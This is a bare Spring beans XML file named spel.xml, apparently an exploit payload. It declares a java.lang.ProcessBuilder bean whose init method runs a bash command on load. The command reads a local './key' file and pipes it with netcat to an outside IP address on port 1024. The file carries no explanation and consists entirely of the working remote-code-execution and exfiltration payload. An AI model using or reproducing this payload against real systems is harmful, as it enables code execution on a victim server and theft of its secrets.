spel.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
       <constructor-arg>
           <array>
               <value>/bin/bash</value>
               <value>-c</value>
               <value>cat ./key | nc 10.128.218.64 1024</value>
           </array>
        </constructor-arg>
    </bean>
</beans>